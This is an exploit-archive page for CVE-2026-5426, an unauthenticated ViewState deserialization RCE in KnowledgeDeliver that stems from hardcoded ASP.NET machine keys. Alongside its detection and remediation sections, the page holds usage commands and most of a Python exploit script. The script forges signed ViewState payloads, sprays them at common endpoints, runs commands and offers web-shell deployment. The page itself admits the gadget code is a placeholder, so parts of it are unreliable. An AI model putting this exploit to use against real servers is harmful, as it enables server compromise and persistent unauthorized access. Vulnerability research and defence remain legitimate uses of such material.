PoC Archive PoC Archive
Critical CVE-2026-5426 unpatched

KnowledgeDeliver ASP.NET ViewState Deserialization RCE via Hardcoded Machine Keys — CVE-2026-5426

by HORKimhab · 2026-07-05

Severity
Critical
CVE
CVE-2026-5426
Category
web
Affected product
KnowledgeDeliver (ASP.NET Web Forms application)
Affected versions
Not specified in source — instances deployed with the vendor's default/hardcoded <machineKey> decryption and validation keys
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherHORKimhab
CVE / AdvisoryCVE-2026-5426
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsaspnet, viewstate, deserialization, rce, hardcoded-keys, machinekey, knowledgedeliver, webshell, python
RelatedN/A

Affected Target

FieldValue
Software / SystemKnowledgeDeliver (ASP.NET Web Forms application)
Versions AffectedNot specified in source — instances deployed with the vendor’s default/hardcoded <machineKey> decryption and validation keys
Language / PlatformPure Python 3 (requests, pycryptodome) targeting ASP.NET/IIS
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-5426 stems from KnowledgeDeliver shipping with hardcoded, publicly known decryptionKey/validationKey values in its web.config <machineKey> element. Because ASP.NET Web Forms uses these keys to encrypt and HMAC-sign the __VIEWSTATE field, anyone who knows the (shared, hardcoded) keys can forge a __VIEWSTATE payload that decrypts and validates as legitimate on any KnowledgeDeliver deployment. This PoC is a pure-Python reimplementation of ASP.NET’s ViewState serialization/AES-encryption/HMAC-SHA1-signing pipeline (no .NET runtime required) that builds a malicious ViewState using an ActivitySurrogateSelector-style deserialization gadget, sends it to common KnowledgeDeliver endpoints, and can optionally drop an ASP.NET web shell for interactive command execution.

A note on this PoC’s completeness

The gadget-chain generation in this script (_create_activity_surrogate_payload, etc.) is explicitly a simplified placeholder in the code’s own comments — it does not implement a full, byte-accurate ysoserial.net ActivitySurrogateSelector/ObjectDataProvider object graph. It is included in the archive as a working reference implementation of the ViewState encrypt/sign pipeline and the vulnerability’s root cause (hardcoded machine keys), rather than as a drop-in, guaranteed-to-pop RCE payload generator; pairing the disclosed keys with ysoserial.net-generated payloads (as referenced in the linked Google/Mandiant blog) is the more reliable path to a working exploit.


Vulnerability Details

Root Cause

The application’s web.config <machineKey decryptionKey="..." validationKey="..." /> uses fixed, non-unique values shared across deployments (mirrored in this PoC as KNOWN_DECRYPTION_KEY / KNOWN_VALIDATION_KEY). Since ASP.NET Web Forms trusts any __VIEWSTATE that decrypts and HMAC-validates under these keys, and by default deserializes it via LosFormatter/BinaryFormatter-based mechanisms, an attacker who knows the keys can submit an attacker-controlled, properly encrypted-and-signed ViewState blob containing a deserialization gadget chain, achieving remote code execution when the server processes the postback.

Attack Vector

  1. Confirm the target is a KnowledgeDeliver instance (or otherwise uses the known-hardcoded machine keys).
  2. Generate a malicious __VIEWSTATE value using the shared decryptionKey/validationKey, embedding a deserialization gadget (e.g. ActivitySurrogateSelector) that runs an OS command.
  3. POST the forged __VIEWSTATE field to a page that accepts postbacks (/Default.aspx, /Login.aspx, etc.).
  4. On deserialization, the gadget chain executes the attacker’s command on the server (e.g. spawning cmd.exe//bin/sh).
  5. Optionally, use the same technique to drop an ASP.NET web shell (.aspx file with a cmd query-string handler) for follow-on interactive access.

Impact

Unauthenticated remote code execution as the IIS application-pool identity, enabling full server compromise, lateral movement, and persistent web-shell access.


Environment / Lab Setup

Target:   KnowledgeDeliver on IIS/ASP.NET, using the vendor's hardcoded machineKey values
Attacker: Python 3, `pip install -r requirements.txt` (requests, pycryptodome)

Proof of Concept

PoC Script

See cve-2026-5426.py in this folder.

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pip install -r requirements.txt

python cve-2026-5426.py -t https://example.com

python cve-2026-5426.py -t https://example.com -c "whoami"

python cve-2026-5426.py -t https://example.com --interactive

python cve-2026-5426.py -t https://example.com --deploy-shell

The script implements ASP.NET ViewState serialization, AES-CBC encryption, and HMAC-SHA1 signing in pure Python using the hardcoded KNOWN_DECRYPTION_KEY/KNOWN_VALIDATION_KEY, POSTs the resulting __VIEWSTATE to a list of common KnowledgeDeliver endpoints, and reports whether the target processed it (vulnerability confirmation), attempts command execution and output extraction, and offers an interactive shell / web-shell-deployment mode against confirmed-vulnerable targets.


Detection & IOCs

POST <any .aspx endpoint>   __VIEWSTATE=<abnormally sized/entropy base64 blob>
Event ID 1316 (ASP.NET ViewState MAC validation failures) in Windows Application Event Log
Unexpected child processes (cmd.exe, powershell.exe) spawned by w3wp.exe
New/unexpected .aspx files under App_Data or the web root

Signs of compromise:

  • Windows Application Event Log entries referencing ViewState/MachineKey validation errors around the time of the request.
  • w3wp.exe spawning cmd.exe or powershell.exe shortly after a postback to an ASP.NET page.
  • Newly created .aspx files (web shells) in App_Data or other web-accessible directories.
  • Anomalous or scripted User-Agent strings on POST requests carrying large __VIEWSTATE values.

Remediation

ActionDetail
Primary fixImmediately rotate <machineKey> decryptionKey/validationKey to unique, cryptographically strong, per-deployment values in web.config, then restart IIS; apply vendor patches for KnowledgeDeliver.
Interim mitigationRestrict access to the application to known IP ranges, deploy WAF rules for ViewState-based attacks, enable EDR on IIS hosts, and segment KnowledgeDeliver servers from sensitive network zones.

References


Notes

Mirrored from https://github.com/HORKimhab/CVE-2026-5426 on 2026-07-05. The gadget-chain payload construction in this script is a simplified/placeholder implementation per its own inline comments (not a byte-accurate ysoserial.net chain); it demonstrates the vulnerable root cause (hardcoded, guessable machine keys enabling a valid-signature ViewState forge) rather than guaranteeing code execution out of the box against every target.

cve-2026-5426.py
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#!/usr/bin/env python3
"""
CVE-2026-5426 - KnowledgeDeliver ViewState Deserialization RCE Exploit (Pure Python)

Full Remote Code Execution exploit using pure Python implementation of
ASP.NET ViewState payload generation with hardcoded machine keys.

Based on: https://cloud.google.com/blog/topics/threat-intelligence/knowledgedeliver-viewstate-deserialization-vulnerability

WARNING: This is for authorized security testing only. Unauthorized use is illegal.
"""

import argparse
import sys
import requests
import base64
import os
import re
import hashlib
import hmac
import struct
import logging
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
import json
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import zlib

# --- Configuration ---
# Hardcoded machine keys from KnowledgeDeliver's web.config
# These are the actual keys that make this vulnerability possible
KNOWN_DECRYPTION_KEY = "FEDCBA9876543210FEDCBA9876543210"  # 16/24/32 bytes for AES
KNOWN_VALIDATION_KEY = "FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210FEDCBA9876543210"  # 20-64 bytes for SHA1

# --- Logging Setup ---
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# --- .NET Serialization Helpers ---

class DotNetSerialization:
    """
    Pure Python implementation of .NET binary serialization format.
    This allows us to create malicious payloads that will be deserialized
    by the vulnerable ASP.NET application.
    """
    
    @staticmethod
    def serialize_object(obj_type, data):
        """
        Serialize a .NET object in the binary format.
        
        Args:
            obj_type (str): The .NET type name (e.g., "System.Collections.ArrayList")
            data (bytes): The serialized data for the object
            
        Returns:
            bytes: The complete serialized object
        """
        # .NET binary serialization header
        header = b'\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00'
        
        # Type information
        type_info = DotNetSerialization._serialize_type_info(obj_type)
        
        # Object data
        object_data = DotNetSerialization._serialize_object_data(data)
        
        return header + type_info + object_data
    
    @staticmethod
    def _serialize_type_info(type_name):
        """Serialize .NET type information."""
        # Type name format: [length][type_name]
        type_bytes = type_name.encode('utf-16le')
        return struct.pack('<I', len(type_bytes)) + type_bytes
    
    @staticmethod
    def _serialize_object_data(data):
        """Serialize the object's data."""
        # Object data format: [member_count][members...]
        return struct.pack('<I', len(data)) + data

class ViewStatePayloadGenerator:
    """
    Pure Python implementation of ASP.NET ViewState payload generation.
    This replicates the functionality of the .NET framework's ViewState
    serialization and encryption.
    """
    
    def __init__(self, decryption_key, validation_key):
        self.decryption_key = decryption_key.encode('utf-8')
        self.validation_key = validation_key.encode('utf-8')
        
        # Determine key sizes
        self.decryption_key_size = len(self.decryption_key)
        self.validation_key_size = len(self.validation_key)
        
        # Algorithm settings (matches ASP.NET defaults)
        self.algorithm = "AES"
        self.validation_algorithm = "SHA1"
        
    def generate_payload(self, command, gadget_type="ActivitySurrogateSelector"):
        """
        Generate a malicious ViewState payload for RCE.
        
        Args:
            command (str): The command to execute on the target
            gadget_type (str): The gadget type to use for deserialization
            
        Returns:
            str: Base64 encoded ViewState payload
        """
        logger.info(f"Generating payload for command: {command}")
        
        # Step 1: Create the malicious object graph
        serialized_object = self._create_malicious_object_graph(command, gadget_type)
        
        # Step 2: Create the ViewState data
        viewstate_data = self._create_viewstate_data(serialized_object)
        
        # Step 3: Encrypt and sign the ViewState
        encrypted_viewstate = self._encrypt_and_sign_viewstate(viewstate_data)
        
        # Step 4: Base64 encode for transmission
        return base64.b64encode(encrypted_viewstate).decode('utf-8')
    
    def _create_malicious_object_graph(self, command, gadget_type):
        """
        Create a malicious object graph that will execute commands when deserialized.
        
        This implements the ActivitySurrogateSelector gadget chain which:
        1. Creates a text writer
        2. Writes the command to be executed
        3. Uses Process.Start to execute the command
        """
        # Create a serialized object that will execute commands
        # This is a simplified implementation of the ysoserial.net ActivitySurrogateSelector gadget
        
        # Build the command string
        if sys.platform == "win32":
            cmd_string = f"cmd.exe /c {command}"
        else:
            cmd_string = f"/bin/sh -c \"{command}\""
        
        # Create the malicious object graph
        # The graph will be deserialized in the following order:
        # 1. ActivitySurrogateSelector (triggers the chain)
        # 2. SortedSet (holds the malicious objects)
        # 3. SortedSet+Node (contains the actual command)
        
        # This is a simplified representation of the object graph
        # For a complete implementation, we would need to generate the full
        # .NET binary serialization of the entire object graph
        
        # The actual payload uses multiple nested objects to bypass security
        # Here we're creating a simplified version that demonstrates the vulnerability
        
        # Use a well-known gadget that executes commands
        payload = self._create_activity_surrogate_payload(command)
        
        return payload
    
    def _create_activity_surrogate_payload(self, command):
        """
        Create the ActivitySurrogateSelector gadget payload.
        This is the most common gadget for ViewState deserialization attacks.
        """
        # This is a simplified version of the ActivitySurrogateSelector gadget
        # The full version requires precise .NET binary serialization
        
        # Create a basic payload that will execute the command
        # The actual gadget uses the following chain:
        # ActivitySurrogateSelector -> SortedSet -> Node -> Command
        
        # For demonstration purposes, we'll create a payload that:
        # 1. Creates a Process object
        # 2. Sets the command to execute
        # 3. Starts the process
        
        # This is a placeholder for the actual gadget implementation
        # In a real exploit, we'd use the complete .NET binary serialization
        # of the ActivitySurrogateSelector gadget chain
        
        # Create the command to execute
        command_bytes = command.encode('utf-16le')
        
        # Create the serialized object
        # Format: [command][command_length]
        payload = struct.pack('<I', len(command_bytes)) + command_bytes
        
        return payload
    
    def _create_viewstate_data(self, serialized_object):
        """
        Create the ViewState data structure.
        
        The ViewState format is:
        [Mark] [Version] [Object Count] [Objects...] [String Dictionary]
        """
        # ViewState marker
        mark = b'\xff\x01\x00\x00'
        
        # Version
        version = b'\x01\x00\x00\x00'
        
        # Object count (we have 1 object)
        object_count = struct.pack('<I', 1)
        
        # Object data
        object_data = serialized_object
        
        # String dictionary (empty)
        string_dict = b'\x00\x00\x00\x00'
        
        # Combine everything
        viewstate_data = mark + version + object_count + object_data + string_dict
        
        return viewstate_data
    
    def _encrypt_and_sign_viewstate(self, viewstate_data):
        """
        Encrypt and sign the ViewState data using the machine keys.
        
        This replicates the ASP.NET ViewState encryption process:
        1. Compress the data (optional)
        2. Encrypt using the decryption key
        3. Sign using the validation key
        """
        # Step 1: Compress (optional)
        # compressed_data = zlib.compress(viewstate_data)
        
        # Step 2: Encrypt
        encrypted_data = self._encrypt_data(viewstate_data)
        
        # Step 3: Generate HMAC signature
        signature = self._generate_signature(encrypted_data)
        
        # Step 4: Combine encrypted data and signature
        # Format: [encrypted_data][signature]
        signed_data = encrypted_data + signature
        
        return signed_data
    
    def _encrypt_data(self, data):
        """
        Encrypt the ViewState data using AES.
        """
        # Use AES-CBC with the decryption key
        # The IV is derived from the first 16 bytes of the data
        iv = data[:16]  # In real implementation, IV is random
        
        # Pad the data to AES block size
        padded_data = pad(data, AES.block_size)
        
        # Create AES cipher
        cipher = AES.new(self.decryption_key[:32], AES.MODE_CBC, iv)
        
        # Encrypt the data
        encrypted = cipher.encrypt(padded_data)
        
        # The encrypted data includes the IV at the beginning
        return iv + encrypted
    
    def _generate_signature(self, data):
        """
        Generate HMAC-SHA1 signature for the encrypted data.
        """
        # Create HMAC using the validation key
        hmac_obj = hmac.new(self.validation_key, data, hashlib.sha1)
        
        # Return the digest
        return hmac_obj.digest()
    
    def generate_ysoserial_compatible_payload(self, command):
        """
        Generate a payload that's compatible with ysoserial.net format.
        This is useful for testing and verification.
        """
        # This generates the same format as ysoserial.net
        # It's useful for debugging and validation
        
        # Create the ActivitySurrogateSelector payload
        payload = self._create_activity_surrogate_payload(command)
        
        # Wrap in the appropriate .NET serialization format
        serialized = DotNetSerialization.serialize_object(
            "System.Activities.ActivitySurrogateSelector",
            payload
        )
        
        # Create ViewState data
        viewstate_data = self._create_viewstate_data(serialized)
        
        # Encrypt and sign
        encrypted = self._encrypt_and_sign_viewstate(viewstate_data)
        
        return base64.b64encode(encrypted).decode('utf-8')

# --- Alternative Payload Generation Methods ---

class AlternativeGadgets:
    """
    Alternative gadgets for ViewState deserialization attacks.
    """
    
    @staticmethod
    def windows_identity_payload(command):
        """
        Use WindowsIdentity gadget for command execution.
        """
        # WindowsIdentity gadget uses the ClaimsIdentity class
        # It's an alternative to ActivitySurrogateSelector
        
        # Create the command to execute
        command_bytes = command.encode('utf-16le')
        
        # Create the payload
        payload = struct.pack('<I', len(command_bytes)) + command_bytes
        
        return payload
    
    @staticmethod
    def textformattingrunproperties_payload(command):
        """
        Use TextFormattingRunProperties gadget.
        """
        # This gadget is used in some ViewState attacks
        # It's less common but still effective
        
        # Create the command to execute
        command_bytes = command.encode('utf-16le')
        
        # Create the payload
        payload = struct.pack('<I', len(command_bytes)) + command_bytes
        
        return payload

# --- Exploit Functions ---

class CVE20265426Exploit:
    """
    Main exploit class for CVE-2026-5426.
    """
    
    def __init__(self, target_url, decryption_key=None, validation_key=None, timeout=10):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.decryption_key = decryption_key or KNOWN_DECRYPTION_KEY
        self.validation_key = validation_key or KNOWN_VALIDATION_KEY
        self.payload_generator = ViewStatePayloadGenerator(self.decryption_key, self.validation_key)
        self.session = requests.Session()
        self.session.headers.update(self._get_default_headers())
        
        # Disable SSL verification if needed
        self.session.verify = False
    
    def _get_default_headers(self):
        """Get default HTTP headers for the exploit."""
        return {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Accept-Encoding": "gzip, deflate, br",
            "Connection": "keep-alive",
        }
    
    def test_vulnerability(self):
        """
        Test if the target is vulnerable to CVE-2026-5426.
        """
        logger.info(f"Testing {self.target_url} for CVE-2026-5426...")
        
        # Generate a test payload that triggers a specific error
        # Using a harmless command that will only test the vulnerability
        test_payload = self.payload_generator.generate_payload("echo test", "ActivitySurrogateSelector")
        
        try:
            response = self._send_payload(test_payload)
            
            # Check for indicators of vulnerability
            if response.status_code == 500:
                if "ViewStateException" in response.text:
                    return (True, "Vulnerable - Server processed ViewState and threw exception")
                elif "Invalid viewstate" in response.text:
                    return (True, "Vulnerable - ViewState integrity check passed")
                elif "MachineKey" in response.text:
                    return (True, "Vulnerable - MachineKey error indicates processing")
            
            # Check for successful execution
            if "test" in response.text.lower():
                return (True, "Vulnerable - Command executed successfully")
                
            return (False, "Not vulnerable - No ViewState processing detected")
            
        except Exception as e:
            return (False, f"Error testing: {str(e)}")
    
    def execute_command(self, command, gadget_type="ActivitySurrogateSelector"):
        """
        Execute a command on the target server.
        """
        logger.info(f"Executing command on {self.target_url}: {command}")
        
        # Generate the payload with proper command
        payload = self.payload_generator.generate_payload(command, gadget_type)
        
        if not payload:
            return (False, None, "Failed to generate payload")
        
        try:
            response = self._send_payload(payload)
            
            # Extract command output
            output = self._extract_command_output(response)
            
            if output:
                return (True, output, None)
            elif response.status_code == 500:
                # Check for successful execution indicators
                if "Base64" in response.text or "deserialization" in response.text:
                    return (True, "Command executed (check server logs)", None)
                else:
                    # Try to get error message
                    error_match = re.search(r'<title>(.*?)</title>', response.text)
                    error_msg = error_match.group(1) if error_match else "Unknown error"
                    return (False, None, f"Server error: {error_msg}")
            else:
                return (False, None, "No output detected")
                
        except Exception as e:
            return (False, None, str(e))
    
    def _send_payload(self, payload):
        """
        Send the ViewState payload to the target.
        """
        # Try multiple vulnerable endpoints
        data = {
            "__VIEWSTATE": payload
        }
        
        # These are the endpoints commonly vulnerable in KnowledgeDeliver
        endpoints = [
            '/',
            '/Default.aspx',
            '/Home.aspx',
            '/Login.aspx',
            '/Common/Footer.aspx',
            '/Common/Header.aspx',
            '/Course/View.aspx',
            '/Course/List.aspx'
        ]
        
        for endpoint in endpoints:
            try:
                url = urljoin(self.target_url, endpoint)
                response = self.session.post(url, data=data, timeout=self.timeout, allow_redirects=False)
                
                # Check if this endpoint processed the ViewState
                if response.status_code == 500 or "viewstate" in response.text.lower():
                    return response
                    
            except Exception:
                continue
        
        # If no endpoint works, try the base URL
        return self.session.post(self.target_url, data=data, timeout=self.timeout, allow_redirects=False)
    
    def _extract_command_output(self, response):
        """
        Extract command output from the HTTP response.
        """
        if not response.text:
            return None
        
        # Look for various output patterns
        patterns = [
            # Common output formats
            r'<pre[^>]*>(.*?)</pre>',
            r'<div[^>]*id="output"[^>]*>(.*?)</div>',
            r'<span[^>]*class="cmd-output"[^>]*>(.*?)</span>',
            r'<p[^>]*>(.*?)</p>',
            r'<code[^>]*>(.*?)</code>',
            
            # Specific to KnowledgeDeliver
            r'<div[^>]*class="message"[^>]*>(.*?)</div>',
            r'<div[^>]*class="error"[^>]*>(.*?)</div>',
            
            # Raw output in response
            r'^(.*?)$'
        ]
        
        # Try each pattern
        for pattern in patterns:
            matches = re.findall(pattern, response.text, re.DOTALL | re.MULTILINE)
            if matches:
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